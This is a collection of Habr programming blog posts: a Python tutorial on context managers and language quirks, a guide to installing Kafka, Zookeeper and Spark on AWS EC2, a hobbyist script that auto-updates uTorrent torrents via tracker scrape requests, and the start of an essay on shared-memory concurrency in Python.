Здесь нам не нужно каждый раз вызывать метод close, что бы вытолкнуть данные в файл. Из этого следует, что контекстный менеджер используется для выполнения каких либо действий до входа в блок и после выхода из него. Но функциональность контекстных менеджеров на этом не заканчивается. Во многих языках программирования для подобных задач используются деструкторы. Но в Python если объект используется где то еще то нет гарантии, что деструктор будет вызван, так как метод \_\_del\_\_ вызывается только в том случае, если все ссылки на объект были исчерпаны:
```
In [4]: class Hello:
...: def __del__(self):
...: print 'destructor'
...:
In [5]: f = Hello()
In [6]: c = Hello()
In [7]: e = Hello()
In [8]: del e
destructor
In [9]: del c
destructor
In [10]: c = f
In [11]: e = f
In [12]: del f # <- деструктор не вызывается
```
Решим эту задачу через контекстные менеджеры:
```
In [1]: class Hello:
...: def __del__(self):
...: print u'деструктор'
...: def __enter__(self):
...: print u'вход в блок'
...: def __exit__(self, exp_type, exp_value, traceback):
...: print u'выход из блока'
...:
In [2]: f = Hello()
In [3]: c = f
In [4]: e = f
In [5]: d = f
In [6]: del d
In [7]: del e
In [8]: del c
In [9]: del f # <- деструктор вызвался тогда когда все ссылки на объект были удалены
деструктор
```
Теперь попробуем вызвать менеджер контекста:
```
In [10]: with Hello():
....: print u'мой код'
....:
вход в блок
мой код
выход из блока
деструктор
```
Мы увидели, что произошел гарантированный выход из блока после выполнения нашего кода.
#### Протокол контекстного менеджера
Мы уже кратко рассмотрели протокол контекстного менеджера написав небольшой класс Hello. Давайте теперь разберемся в протоколе более подробно. Что бы объект стал контекстным менеджером в его класс обязательно нужно включить два метода: \_\_enter\_\_ и \_\_exit\_\_. Первый метод выполняется до входа в блок. Методу можно возвратить текущий экземпляр класса, что бы к нему можно было обращаться через инструкцию as.
Метод \_\_exit\_\_ выполняется после выхода из блока with, и он содержит три параметра — exp\_type, exp\_value и exp\_tr. Контекстный менеджер может вылавливать исключения, которые были возбуждены в блоке with. Мы можем вылавливать только нужные нам исключения или подавлять ненужные.
```
class Open(object):
def __init__(self, file, flag):
self.file = file
self.flag = flag
def __enter__(self):
try:
self.fp = open(self.file, self.flag)
except IOError:
self.fp = open(self.file, "w")
return self.fp
def __exit__(self, exp_type, exp_value, exp_tr):
""" подавляем все исключения IOError """
if exp_type is IOError:
self.fp.close() # закрываем файл
return True
self.fp.close() # закрываем файл
with Open("asd.txt", "w") as fp:
fp.write("Hello, World\n")
```
Переменная exp\_type содержит в себе класс исключения, которое было возбуждено, exp\_value — сообщение исключения. В примере мы закрываем файл и подавляем исключение IOError посредством возврата True методу \_\_exit\_\_. Все остальные исключения в блоке мы разрешаем. Как только наш код подходит к концу и блок заканчивается вызывается метод self.fp.close(), не зависимо от того, какое исключение было возбуждено. Кстати, внутри блока with можно подавлять и такие исключения как NameError, SyntaxError, но этого делать не стоит.
Протоколы контекстных менеджеров очень просты в использовании, но для обычных задач есть еще более простой способ, который поставляется вместе со стандартной библиотекой питона. Далее мы рассмотрим пакет contextlib.
#### Пакет contextlib
Создание контекстных менеджеров традиционным способом, то есть написанием классов с методами \_\_enter\_\_ и \_\_exit\_\_ не одна из сложных задач. Но для тривиального кода написание подобных классов требует больше возьни. Для этих целей был придуман декоратор contextmanager(), входящий в состав пакета contextlib. Используя декоратор contextmanager() мы можем из обычной функции сделать контекстный менеджер:
```
import contextlib
@contextlib.contextmanager
def context():
print u'вход в блок'
try:
yield {}
except RuntimeError, err:
print 'error: ', err
finally:
print u'выход из блока'
```
Проверим работоспособность кода:
```
In [8]: with context() as fp:
...: print u'блок'
...:
вход в блок
блок
выход из блока
```
Попробуем возбудить исключение внутри блока.
```
In [14]: with context() as value:
....: raise RuntimeError, 'Error'
....:
вход в блок
error: Error
выход из блока
In [15]:
```
Как видно из примера, реализация с использованием классов практически ничем не отличается по функциональности от реализации с использованием декоратора contextmanager(), но использование декоратора намного упрощает наш код.
Еще один интересный пример использования декоратора contextmanager():
```
import contextlib
@contextlib.contextmanager
def bold_text():
print '**'
yield # код из блока with выполнится тут
print '**'
with bold_text():
print "Hello, World"
```
Результат:
```
**Hello, World**
```
Похоже на блоки в руби не так ли?
И напоследок поговорим о вложенных контекстах. Вложенные контексты позволяют управлять несколькими контекстами одновременно. Например:
```
import contextlib
@contextlib.contextmanager
def context(name):
print u'вход в контекст %s' % (name)
yield name # наш блок
print u'выход из контекста %s' % (name)
with contextlib.nested(context('first'), context('second')) as (first, second):
print u'внутри блока %s %s' % (first, second)
```
Результат:
вход в контекст first
вход в контекст second
внутри блока first second
выход из контекста second
выход из контекста first
Аналогичный код без использования функции nested:
```
first, second = context('first'), context('second')
with first as first:
with second as second:
print u'внутри блока %s %s' % (first, second)
```
Этот код хоть и похож на предыдущий, в некоторых ситуациях он будет работать не так как нам хотелось бы. Объекты context('first') и context('second') вызываются до входа в блок, поэтому мы не сможем перехватывать исключения, которые были возбуждены в этих объектах. Согласитесь, первый вариант намного компактнее и выглядит красивее. А вот в Python 2.7 и 3.1 функция nested устарела и была добавлена новая синтаксическая конструкция для вложенных контекстов:
```
with context('first') as first, context('second') as second:
print u'внутри блока %s %s' % (first, second)
```
#### range и xrange в Python 2.7 и Python 3
Известно, что Python 2.7 range возвращает список. Думаю все согласятся, что хранить большие объемы данных в памяти нецелесообразно, поэтому мы используем функцию xrange, возвращающий объект xrange который ведет себя почти так же как и список, но не хранит в памяти все выдаваемые элементы. Но меня немного удивило поведение xrange в Python 2.x, когда функции передаются большие значения. Давайте посмотрим на пример:
```
>>> f = xrange(1000000000000000000000)
Traceback (most recent call last):
File "", line 1, in
OverflowError: Python int too large to convert to C long
>>>
```
Python нам говорит о том, что int слишком длинный и он не может быть переконвертирован в C long. Оказывается у Python 2.x есть ограничения на целое число, в этом мы можем убедиться просмотрев константу sys.maxsize:
```
>>> import sys
>>> sys.maxsize
9223372036854775807
>>>
```
Вот оно максимальное значение целого числа:
```
>>> import sys
>>> sys.maxsize+1
9223372036854775808L
>>>
```
Python аккуратно переконвертировал наше число в long int. Не удивляйтесь, если xrange в Python 2.x будет вести себя иначе при больших значениях.
В Python 3.3 целое число может быть бесконечно большим, давайте проверим:
```
>>> import sys
>>> sys.maxsize
9223372036854775807
>>> range(sys.maxsize+1)
range(0, 9223372036854775808)
>>>
```
Конвертирование в long int не произошло. Вот еще пример:
```
>>> import sys
>>> sys.maxsize + 1
9223372036854775808
>>> f = sys.maxsize + 1
>>> type(f)
>>>
```
В Python 2.7
```
>>> import sys
>>> type(sys.maxsize + 1)
>>>
```
#### Не очевидное поведение некоторых конструкций
Думаю все согласятся, что простота питона заключена не в легкости его изучении, а в простоте самого языка. Питон красив, гибок и на нем можно писать не только в объектно ориентированном стиле, но и в функциональном. Но о поведении некоторых конструкций, который на первый взгляд кажутся странными необходимо знать. Для начала рассмотрим первый пример.
```
>>> f = [[]] * 3
>>> f[0].append('a')
>>> f[1].append('b')
>>> f[2].append('c')
>>>
```
Каков будет результат выполнения данной конструкции? Неподготовленный разработчик сообщит о результате: [['a'], [b'], [c']]. Но на самом деле мы получаем:
```
>>> print f
[['a', 'b', 'c'], ['a', 'b', 'c'], ['a', 'b', 'c']]
>>>
```
Почему в каждом списке результат дублируется? Дело в том, что оператор умножения создает ссылки внутри нашего списка на один и тот же список. В этом легко убедиться немного дополнив наш пример:
```
>>> c = [[], [], []]
>>> hex(id(c[0])), hex(id(c[1])), hex(id(c[2]))
('0x104ede7e8', '0x104ede7a0', '0x104ede908')
>>>
>>> hex(id(f[0])), hex(id(f[1])), hex(id(f[2]))
('0x104ede710', '0x104ede710', '0x104ede710')
>>>
```
В первом случае все нормально и ссылки на списки разные, а во втором примере мы ссылаемся на один и тот же объект. Из этого следует, что изменение в первом списке повлечет за собой изменение в последующих, так что будьте внимательны.
Второй пример уже рассматривался на хабре, но мне захотелось включить его в статью. Посмотрим на lambda — функцию, которую мы будет прогонять через цикл for, и помещать каждую функцию в словарь:
```
>>> tmp = {}
>>> for i in range(10):
... tmp[i] = lambda: i
>>> tmp[0]()
9
>>> tmp[1]()
9
>>>
```
В пределах lambda функции переменная i замыкается и как бы создается экземпляр еще одной переменной i в блоке lambda — функции, которая является ссылкой на переменную i в цикле for. Каждый раз когда счетчик цикла for меняется, меняются и значения во всех lambda функциях, поэтому мы получаем значение i-1 во всех функциях. Исправить это легко, явно передав lambda функции в качестве первого параметра значение по умолчанию — переменную i:
```
>>> tmp = {}
>>> for i in range(10):
... tmp[i] = lambda i = i: i
>>> tmp[0]()
0
>>> tmp[1]()
1
>>>
``` | https://habr.com/ru/post/196382/ | null | ru | null |
# Домашняя BigData. Часть 1. Практика Spark Streaming на кластере AWS
Здравствуйте.
В данной статье мы в домашних условиях произведем установку на платформу EC2 AWS (Amazon Web Services) Apache Kafka, Apache Spark, Zookeeper, Spark-shell и научимся всем этим пользоваться.
### Знакомство с платформой Amazon Web Services
1.1. По ссылке [aws.amazon.com/console](https://aws.amazon.com/console) вам предстоит зарегистрироваться. Введите имя и запомните пароль.
1.2. Настраиваем экземпляры узлов для сервисов Zookeeper и Kafka.
* Выберите в меню «Services->EC2». Далее необходимо выбрать версию операционной системы имиджа виртуальной машины, выбираем Ubuntu Server 16.04 LTS (HVM), SSD volume type, жмем ”Select". Переходим к настройке экземпляра сервера: тип «t3.medium» с параметрами 2vCPU, 4 GB памяти, General Purpose. Жмем «Next: Configuring Instance Details».
* Добавляем количество экземпляров 1, жмем «Next: Add Storage»
* Принимаем значение по умолчанию для размера диска 8 GB и меняем тип на Magnetic (в Production настройки исходя из обЪема данных и High Performance SSD)
* В разделе «Tag Instances» для «Name» вводим имя экземпляра узла «Home1» (где 1 просто порядковый номер) и нажимаем на «Next:...»
* В разделе " Configure Security Groups " выберите опцию «Use existing security group», выбрав имя группы безопасности («Spark\_Kafka\_Zoo\_Project») и установите правила входящего трафика. Нажмите на «Next:...»
* Просмотрите экран «Review» для проверки введенных значений и и запустите «Launch».
* Для подключения к узлам кластера необходимо создать(в нашем случае использовать существующую) пару открытых ключей для идентификации и авторизации. Для этого выберите в списке тип операции «Use existing pair».
### Создание ключей
* [Скачиваем Putty](https://www.chiark.greenend.org.uk/~sgtatham/putty/latest.html) для клиента или используем подключение по SSH из терминала.
* Файл ключа .pem использует старый формат для удобства конвертируем его в формат ppk используемый Putty. Для этого запускаем утилиту PuTTYgen, загружаем ключ в старом формате .pem в утилиту. Конвертируем ключ и сохраняем (Save Private Key) для последующего использования в домашнюю папку с расширением .ppk.
### Запуск кластера
1.3. Для удобства работы переименуйте узлы кластера в нотации Node01-04. Для подключения к узлам кластера с локального компьютера через SSH необходимо определить IP адрес узла и его public/private DNS имя, выберите поочередно каждый из узлов кластера и для выбранного экземпляра (instance) запишите его public/private DNS имя для подключения через SSH и для установки ПО в текстовый файл HadoopAdm01.txt.
Пример: ec2-35-162-169-76.us-west-2.compute.amazonaws.com
### Установка Apache Kafka в режиме SingleNode на узел кластера AWS
2.1. Для установки ПО выбираем нашу ноду (копируем его Public DNS) для подключения через SSH. Настраиваем подключение через SSH. Используем сохраненное имя первого узла для настройки подключения через SSH с использованием пары ключей Private/Public «HadoopUser01.ppk” созданных в пункте 1.3. Переходим в раздел Connection/Auth через кнопку Browse ищем папку, где мы предварительно сохранили файл „HadoopUserХХ.ppk“.
Сохраняем конфигурацию подключения в настройках.
2.2. Подключаемся к узлу и используем login: ubuntu.
• Используя привилегии root обновляем packages и устанавливаем дополнительные пакеты, требующиеся для дальнейшей установки и настройки кластера.
```
sudo apt-get update
sudo apt-get -y install wget net-tools netcat tar
```
• Устанавливаем Java 8 jdk и проверяем версию Java.
```
sudo apt-get -y install openjdk-8-jdk
```
• Для нормальной производительности узла кластера необходимо подкорректировать настройки свопирования памяти. VM swappines по умолчанию установлен в 60% что значит при утилизации памяти в 60 % система начнет активно свопить данные с RAM на диск. В зависимости от версии Linux параметр VM swappines может быть установлен в 0 или 1:
```
sudo sysctl vm.swappiness=1
```
• Для сохранения настроек при перезагрузке добавим строчку в файл конфигурации.
```
echo 'vm.swappiness=1' | sudo tee --append /etc/sysctl.conf
```
• Редактируем записи в файле /etc/hosts для удобного разрешения имен узлов кластера kafka и zookeeper по private IP адресам назначенным узлам кластера.
```
echo "172.31.26.162 host01" | sudo tee --append /etc/hosts
```
Проверяем правильность распознавания имен с помощью ping любой из записей.
• Загружаем последние актуальные версии (http://kafka.apache.org/downloads) дистрибутивов kafka и scala и подготавливаем директорию с установочными файлами.
```
wget http://mirror.linux-ia64.org/apache/kafka/2.1.0/kafka_2.12-2.1.0.tgz
tar -xvzf kafka_2.12-2.1.0.tgz
ln -s kafka_2.12-2.1.0 kafka
```
• Удаляем файл архива tgz, он нам больше не понадобится
• Попробуем запустить сервис Zookeeper, для этого:
```
~/kafka/bin/zookeeper-server-start.sh -daemon ~/kafka/config/zookeeper.properties
```
Zookeeper стартует с параметрами запуска по умолчанию. Можно проверить по логу:
```
tail -n 5 ~/kafka/logs/zookeeper.out
```
Для обеспечения запуска демона Zookeeper, после перезагрузки, нам необходимо стартовать Zookeper, как фоновый сервис:
```
bin/zookeeper-server-start.sh -daemon config/zookeeper.properties
```
Для проверки запуска Zookepper проверяем
```
netcat -vz localhost 2181
```
2.3. Настраиваем сервис Zookeeper и Kafka для работы. Первоначально отредактируем/создадим файл /etc/systemd/system/zookeeper.service (содержимое файла ниже).
```
[Unit]
Description=Apache Zookeeper server
Documentation=http://zookeeper.apache.org
Requires=network.target remote-fs.target
After=network.target remote-fs.target
[Service]
Type=simple
ExecStart=/home/ubuntu/kafka/bin/zookeeper-server-start.sh /home/ubuntu/kafka/config/zookeeper.properties
ExecStop=/home/ubuntu/kafka/bin/zookeeper-server-stop.sh
[Install]
WantedBy=multi-user.target
```
Далее для Kafka отредактируем/создадим файл /etc/systemd/system/kafka.service (содержимое файла ниже).
```
[Unit]
Description=Apache Kafka server (broker)
Documentation=http://kafka.apache.org/documentation.html
Requires=zookeeper.service
[Service]
Type=simple
ExecStart=/home/ubuntu/kafka/bin/kafka-server-start.sh /home/ubuntu/kafka/config/server.properties
ExecStop=/home/ubuntu/kafka/bin/kafka-server-stop.sh
[Install]
WantedBy=multi-user.target
```
• Активируем скрипты systemd для сервисов Kafka и Zookeeper.
```
sudo systemctl enable zookeeper
sudo systemctl enable kafka
```
• Проверим работу скриптов systemd.
```
sudo systemctl start zookeeper
sudo systemctl start kafka
sudo systemctl status zookeeper
sudo systemctl status kafka
sudo systemctl stop zookeeper
sudo systemctl stop kafka
```
• Проверим работоспособность сервисов Kafka и Zookeeper.
```
netcat -vz localhost 2181
netcat -vz localhost 9092
```
• Проверяем лог файл zookeeper.
```
cat logs/zookeeper.out
```
### Первая радость
2.4. Создаем свой первый топик на собранном сервере kafka.
* Важно использовать подключение к «host01:2181» как вы указывали в конфигурационном файле server.properties.
* Запишем некоторые данные в топик.
```
kafka-console-producer.sh --broker-list host01:9092 --topic first_topic
Привет
Как прошли выходные
```
Ctrl-C — выход из консоли топика.
• Теперь попробуем прочитать данные из топика.
```
kafka-console-consumer.sh --bootstrap-server host01:9092 --topic last_topic --from-beginning
```
• Просмотрим список топиков kafka.
```
bin/kafka-topics.sh --zookeeper spark01:2181 --list
```
• Редактируем параметры сервера kafka для подстройки под single cluster setup
#необходимо изменить параметр ISR в 1.
```
bin/kafka-topics.sh --zookeeper spark01:2181 --config min.insync.replicas=1 --topic __consumer_offsets --alter
```
• Перезапускаем сервер Kafka и пытаемся снова подключиться consumer ом
• Посмотрим лист топиков.
```
bin/kafka-topics.sh --zookeeper host01:2181 --list
```
### Настройка Apache Spark на одноузловом кластере
Мы подготовили экземпляр узла с установленным сервисом Zookeeper и Kafka на AWS, теперь необходимо установить Apache Spark, для этого:
3.1. Скачиваем последнюю версию дистрибутива Apache Spark.
```
wget https://archive.apache.org/dist/spark/spark-2.4.0/spark-2.4.0-bin-hadoop2.6.tgz
```
• Разархивируем дистрибутив и создадим символьный линк для spark и удалим ненужные файлы архивов.
```
tar -xvf spark-2.4.0-bin-hadoop2.6.tgz
ln -s spark-2.4.0-bin-hadoop2.6 spark
rm spark*.tgz
```
• Переходим в каталог sbin и запускаем spark мастера.
```
./start-master.sh
```
• Подключаемся с помощью веб браузера к серверу Spark на порт 8080.
• Запускаем spark-slaves на том же самом узле
```
./start-slave.sh spark://host01:7077
```
• Запускаем spark оболочку с мастером на узле host01.
```
./spark-shell --master spark://host01:7077
```
• Если запуск не работает, добавляем путь к Spark в bash.
```
vi ~/.bashrc
# добавляем строчки в конец файла
SPARK_HOME=/home/ubuntu/spark
export PATH=$SPARK_HOME/bin:$PATH
```
```
source ~/.bashrc
```
• Запускаем spark оболочку повторно с мастером на узле host01.
```
./spark-shell --master spark://host01:7077
```
3.2. Одноузловой кластер с Kafka, Zookeeper и Spark работает. Ура!
### Немного творчества
4.1. Скачиваем редактор Scala-IDE (По ссылке [scala-ide.org](http://scala-ide.org)). Запускаем и начинаем писать код. Здесь я повторяться уже не буду, так как есть [хорошая статья на Хабре](https://habr.com/ru/company/piter/blog/417123/).
4.2. В помощь полезная литература и курсы:
[courses.hadoopinrealworld.com/courses/enrolled/319237](https://courses.hadoopinrealworld.com/courses/enrolled/319237)
[data-flair.training/blogs/kafka-consumer](https://data-flair.training/blogs/kafka-consumer/)
[www.udemy.com/apache-spark-with-scala-hands-on-with-big-data](https://www.udemy.com/apache-spark-with-scala-hands-on-with-big-data/) | https://habr.com/ru/post/443912/ | null | ru | null |
# Ещё один способ обновления торрентов
На одном трекере я являюсь активным сидером. Но когда приходит время обновлять раздачи, для меня начинается ужас: некоторые раздачи имеют разные название в торрент-клиенте и на трекере, раздач с идентичным названием на трекере очень много, да и искать какую-то конкретную раздачу очень трудно. К тому же у меня нет столько времени, чтобы заниматься таким рутинным делом. Поэтому мне понадобился небольшой скрипт, который бы обновлял раздачи в клиенте, при обновлении оных на трекере.
#### Что же делать?
Передо мной встала задача: найти какое-нибудь готовое решение или же попробовать написать нужный скрипт самому. На хабре встречались способы, в некотором роде выполняющие мою задачу, но способ либо мне не подходил, либо он мне не совсем нравился. При этом я никогда не писал программ или даже скриптов, поэтому вариант собственноручно написанного скрипта мне нравился ещё больше. Сначала надо было выбрать инструмент, язык, который был бы лёгок для освоения и погружения в программирование, и моё внимание привлёк python.
Python мне сразу понравился. Кажется, что он придаёт некую «легкость» в написании кода. Как первое чтиво по python'у я выбрал книгу Марка Лутца «Изучаем Python (4-е издание)». Что ж, инструмент есть, какая-никакая помощь в виде книги есть, поехали!
#### Постановка задачи и её решение
Итак, для начала нужно определить, что торрент-файл в нашем клиенте (в данном случае имеется в виду uTorrent 2.2) устарел и надо скачать новый. Первое, что я смог придумать, — парсинг страниц и сравнение с данными в торрент-файле. Такой способ работал, но у него был огромный минус в быстродействии: парсинг ста страниц, а именно такой лимит раздач на трекере, занимал около трёх минут. К тому же надо было все параметры раздачи сравнивать с результатом парсинга страницы, а это тоже отнимало немало времени. Такой метод работал без сбоев, но мне он не особо нравился, поэтому я продолжил поиски всевозможных решений поставленной задачи.
Вскоре, после долгих раздумий и поисков, я узнал о такой вещи как scrape. Scrape, как говорит википедия, — это дополнительный протокол запроса клиента к трекеру, при котором трекер сообщает клиенту общее количество сидов и пиров на раздаче. При помощи scrape-запроса можно легко узнать о том, существует ли раздача или нет. Также scrape-запрос клиентами посылается чаще, чем announce. Но надо знать, поддерживает ли конкретный трекер этот протокол или же нет. К моему счастью, мой трекер его поддерживает. Scrape-запрос посылается при помощи метода GET с заголовком и вот так выглядит адрес, по которому идёт запрос:
> `httр://example.com/scrape.php?info_hash=aaaaaaaaaaaaaaaaaaaa`
Хэш уникален для каждой раздачи, он включает в себя 20 символов и его можно достать из файла resume.dat. Но прежде, чем доставать информацию, надо знать, что этот файл, как файлы с расширением .torrent и settings.dat, представлены в формате bencode. Если нужно расшифровать файл быстро и без углублений в способ кодирования, то стоит скачать специальный пакет для питона [здесь](http://pypi.python.org/pypi/BitTorrent-bencode/5.0.8).
Приступим к расшифровке файла:
```
# -*- coding: utf-8 -*-
import urllib2
from urllib import urlencode
from binascii import b2a_hex as bta, a2b_hex as atb
from os import remove
from shutil import move
from lxml.html import document_fromstring as doc
from bencode import bdecode, bencode
from httplib2 Http
http = Http()
username = 'username'
password = 'password'
ut_port = '12345' # Порт web-морды у uTorrent'а.
ut_username = 'utusername'
ut_password = 'utpassword'
site = 'http://example.com/'
scrape_body = site + 'scrape.php?info_hash=' # URL scrape-запроса.
login_url = site + 'takelogin.php'
torrent_body = site + 'download.php?id={0}&name={0}.torrent'
announce = site + 'announce.php?' # URL анонса трекера.
webui_url = 'http://127.0.0.1:{0}/gui/'.format(ut_port)
webui_token = webui_url + 'token.html'
# Папка с .torrent файлами. Путь записан в settings.dat, пункт dir_torrent_files.
torrent_path = 'c:/utorrent/torrent/'
# Папка автозагрузки указывается в настройках клиента.
autoload_path = 'c:/utorrent/autoload/'
# Папка с системными файлами uTorrent'a (нужно для обработки resume.dat)
sys_torrent_path = 'c:/users/myname/appdata/utorrent/'
def authentication(username, password):
data = {'username': username, 'password': password}
headers = {'Content-type': 'application/x-www-form-urlencoded',
'User-agent':'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.6'}
resp, login = http.request(login_url, 'POST', headers=headers, body=urlencode(data))
# Список имён атрибутов, подтверждающих авторизацию пользователя
cookiekeys = ['uid', 'pass', 'PHPSESSID', 'pass_hash', 'session_id']
split_resp = resp['set-cookie'].split(' ')
lst = []
# Далее оставляем только нужные нам атрибуты из ранее полученной строки.
for split_res in split_resp:
if split_res.split('=')[0] in cookiekeys:
lst.append(split_res)
cookie = ' '.join(lst)
return {'Cookie': cookie}
def torrentDict(torr_path): #torr_path в нашем случае - папка с resume.dat .
Dict = {}
with open(u'{0}resume.dat'.format(torr_path), 'rb') as resume:
t = bdecode(resume.read())
for name in t:
if name != '.fileguard' and name != 'rec':
for tracker in t[name]['trackers']:
if isinstance(tracker, str) and tracker.startswith(announce):
Dict[name.split('\\')[-1]] = bta(t[name]['info'])
return Dict
```
Теперь у нас на руках есть словарь с именами и хэшами раздач. Теперь нам остается только посылать scrape-запросы с подставленным и видоизменённым хэшем и проверять, есть ли раздача с таким хэшем на трекере или её уже нет. Также не стоит забывать о том, что делать такой запрос нужно как бы от лица клиента, иначе трекер откажет в доступе.
```
uthead = {'User-Agent':'uTorrent/2210(21304)'} # Имитируем заголовки uTorrent'а.
main_dict = torrentDict(sys_torrent_path)
for key in main_dict:
lst = []
for i in range(0, len(main_dict[key]), 2):
lst.append('%{0}'.format(main_dict[key][i:i+2].upper()))
scrp_str = ''.join(lst) # Строка, содержащая видоизменённый хэш для запроса.
resp, scrp = http.request('{0}{1}'.format(scrape_body, scrp_str), 'GET', headers=uthead)
```
Обычный ответ на запрос выглядит так:
> `d5:filesd20:**aaaaaaaaaaaaaaaaaaaa**d8:completei**5**e10:downloadedi**50**e10:incompletei**10**eeee`
20 символов «a» — это хэш раздачи, 5 — сидеров, 10 — личеров и 50 закончивших качать.
Если же раздача не существует, то ответ на запрос принимает вид:
> `d5:filesdee`
Ответ на запрос тоже представлен в формате bencode, но расшифровывать нам его не надо, можно просто сравнить полученную строку со строкой, возвращаемой в случае отсутствия раздачи на трекере с таким хэшем.
Далее надо скачать наш файл с трекера, положить его в папку автозагрузки клиента и, по возможности, удалить запись об устаревшем торренте в самом клиенте.
С трекера просто так скачать файл не получится: нужна авторизация. Сама функция описана выше под заголовком «authentication». А далее мы авторизируемся, скачиваем файл, кладём его в папку автозагрузки и удаляем старый .torrent файл из папки с торрентами.
```
# Этот код находится по иерархии ниже строчки "for key in Dict:".
with open('{0}{1}'.format(torrent_path, key), 'rb') as torrent_file:
torrent = bdecode(torrent_file.read())
t_id = torrent['comment'][36:] # Здесь мы получаем уникальный номер раздачи на трекере.
brhead = authentication(username, password)
resp, torrent = http.request(torrent_body.format(t_id), headers=brhead)
with open('{0}.torrent'.format(t_id),'wb') as torrent_file:
torrent_file.write(torrent)
# Удаляем старый .torrent файл и добавляем новый в папку автозагрузки.
remove('{0}{1}'.format(torrent_path, key))
move('{0}.torrent'.format(t_id), '{0}{1}.torrent'.format(autoload_path, t_id))
# Код удаления записи о торренте. О нём ниже.
authkey, token = uTWebUI(ut_username, ut_password)
webuiActions(main_dict[key], 'remove', authkey, token)
```
Чтобы уже несуществующий .torrent файл не путал нас своей записью в клиенте, его стоит удалить из клиента. Но uTorrent устроен так, что редактирование resume.dat, а именно там хранятся сведения о всех торрентах, при запущенном клиенте не даст результата: uTorrent восстановит resume.dat таким, каким он его запомнил при запуске. Поэтому для такого случая нужно постоянно выключать uTorrent, редактировать resume.dat, включать uTorrent. Такой метод подошёл бы для одной изменённой раздачи в день, а что если раздачи меняются пачками, т.е. по несколько сразу? Сначала я, будучи далёк от программирования в целом, думал о том, что придётся работать с процессами напрямую, а это очень сложно для меня. Но тут я узнал о существовании uTorrent WebUI. У WebUI есть API, документация к которому есть на [официальном сайте](http://www.utorrent.com/community/developers/webapi). Благодаря возможностям API WebUI можно удалить запись, и не только удалить, о торренте из клиента. Сначала мы должны получить cookie, в которых есть специальный пароль, и token. Второе нам необходимо, если параметр webui.token\_auth в клиенте активирован.
```
def uTWebUI(ut_name, ut_passw):
# Получаем cookie и token.
passmgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
passmgr.add_password(None, webui_token, ut_name, ut_passw)
authhandler = urllib2.HTTPBasicAuthHandler(passmgr)
opener = urllib2.build_opener(authhandler)
urllib2.install_opener(opener)
req = urllib2.Request(webui_token)
tkp = urllib2.urlopen(req)
page = tkp.read()
token = doc(page).xpath('//text()')[0]
passw = req.unredirected_hdrs['Authorization']
return passw, token
def webuiActions(torrent_hash, action, password, token):
head = {'Authorization': password}
if action == 'remove':
# Удаляем запись в клиенте об устаревшей раздаче.
action_req = '?token={0}&action=remove&hash={1}'.format(token, torrent_hash)
r, act = http.request(webui_url+action_req, headers=head)
```
В uTorrent авторизация в web-интерфейсе реализована не так, как на сайте, поэтому простая отправка данных не пройдёт. Затем мы получаем токен и вместе с ним выполняем какую-нибудь функцию в клиенте. Конечно, можно было бы выделить класс под действия в клиенте, но я посчитал, что для этого хватит и обычной функции.
(Прим.: К сожалению, моих знаний на данный момент не хватило, чтобы правильно авторизироваться в web-интерфейсе, поэтому я воспользовался способом, описанном на просторах интернета.)
#### Что в итоге
В итоге я получил скрипт, удовлетворяющий мою потребность, немного знаний и море удовольствия: очень весело до утра сидеть над кодом, а потом, когда ляжешь спать, понять, в чём была загвоздка.
Надеюсь, данный способ сможет кому-нибудь помочь.
**UPD:** Дико извиняюсь за свою невнимательность: приводил код в более читаемый вид перед публикацией, в результате чего и сам запутался, и вас запутал.
Код залил на [Github](https://github.com/walkmanake/Torrents-autoupdate). Работаю с ним впервые, так что, если я сделал что-то неправильно, обращайтесь. | https://habr.com/ru/post/135874/ | null | ru | null |
# Making python's dream of multithreading come true
Intro
=====
So you are writing some CPU-intensive code in Python and really trying to find ways out of its single-threaded prison. You might be looking towards Numba's "nopython parallel" mode, you might be using forked processes with multiprocessing, you might be writing microservices with database-like coordinators, or even writing your own multithreaded programs in C/C++ just like creators of TensorFlow did.
In this article I'm describing a rationale for my pet project where I try to implement facilities for general purpose multitasking to be used in a form of simple python code, employing a database-like approach for interpreters communication, while keeping the GIL (Global Interpreter Lock) and trying to be as pythonic as possible.
It could also become handy in the light of upcoming [multiple interpreters support in CPython](https://www.python.org/dev/peps/pep-0554/).
As far as I know, nobody came that far in trying to provide Python program with native shareable storage. The last closest attempt was [Python Object Sharing](http://poshmodule.sourceforge.net/posh/html/index.html) which is pretty much dead by now. I hope my project won't meet the same fate.
GIL?
====
Suppose, tomorrow someone has released a python version having no GIL. What's you gonna do next? Write a multithreaded code with tons of race conditions and deadlocks? Because you know you can't just access same object from multiple threads. Eventually, in simple scenarios you would access some big chunk of common state using an actual single or effectively single lock — thus reinventing GIL. Python's mutable objects, iterators, generators, exception handling are all about a state machine, strict step-by-step execution with inherent lack of concurrency.
That's another dead end: you cannot make the program efficient without modifying the language. However, I believe I found a way to make the change as small as possible, keeping most of the usual python code, C extensions, GIL, but introducing a restricted amount of data structures in a shared memory for sharing common data between separate interpreter processes while ensuring their concurrent execution will have the same effect as sequential execution. Some of you might have already guessed — that's something very close to what RDBMS does.
Close example could be a python [server-side programming in PostgreSQL](https://pgdash.io/blog/postgres-server-side-programming.html#python). However, this one is more about "Python in Postgres", while we really want a "Postgres in Python", kind of casual access to the "database", like it is a regular python object. Like Clojure language does, which inspired me to implement a similar trick for Python. We also would like to pass these "database objects" to some third-party functions the way third-party code doesn't encounter a difference between regular python objects and database objects.
Unfortunately, I see no easy way to convert a general sequential execution of Python into concurrent effectively-sequential one. Let's look at the example:
```
a = CreateSharedDict()
def func(SharedDict):
SharedDict['a'] = 1
SharedDict['b'] = 2
return SharedDict
print(func(a))
```
Although the code don't seem to be troubling, some big questions arise in concurrent environment. What happens when another thread reads SharedObject at the same time? What happens when other thread modifies SharedObject at the same time? Despite the code above does not use SharedObject's fields for any conditional execution or evaluation of other values, it could have e.g.:
```
def func(SharedDict):
SharedDict['a'] = 1
SharedDict['b'] = 1
SharedDict['b'] += SharedDict['a']
return SharedDict
```
The programmer really wants to see the output:
```
{ a: 1, b: 2 }
```
However, with another thread doing the same "func(a)" we might see the output:
```
{ a: 1, b: 3 }
```
Which is not what programmer usually expects. So we really want to isolate two threads, make them feel like they are the only users of SharedObject. Most common solution is to use transactional memory. But when would the transaction start and finish? The "a = CreateSharedDict()" variable is global and will not go out of scope unless the program finishes — we cannot just keep transaction running forever because that means other transactions will never see changes to SharedDict. Most likely programmer wants something like this:
```
def func(SharedDict):
start_transaction()
try:
SharedDict['a'] = 1
SharedDict['b'] = 1
SharedDict['b'] += SharedDict['a']
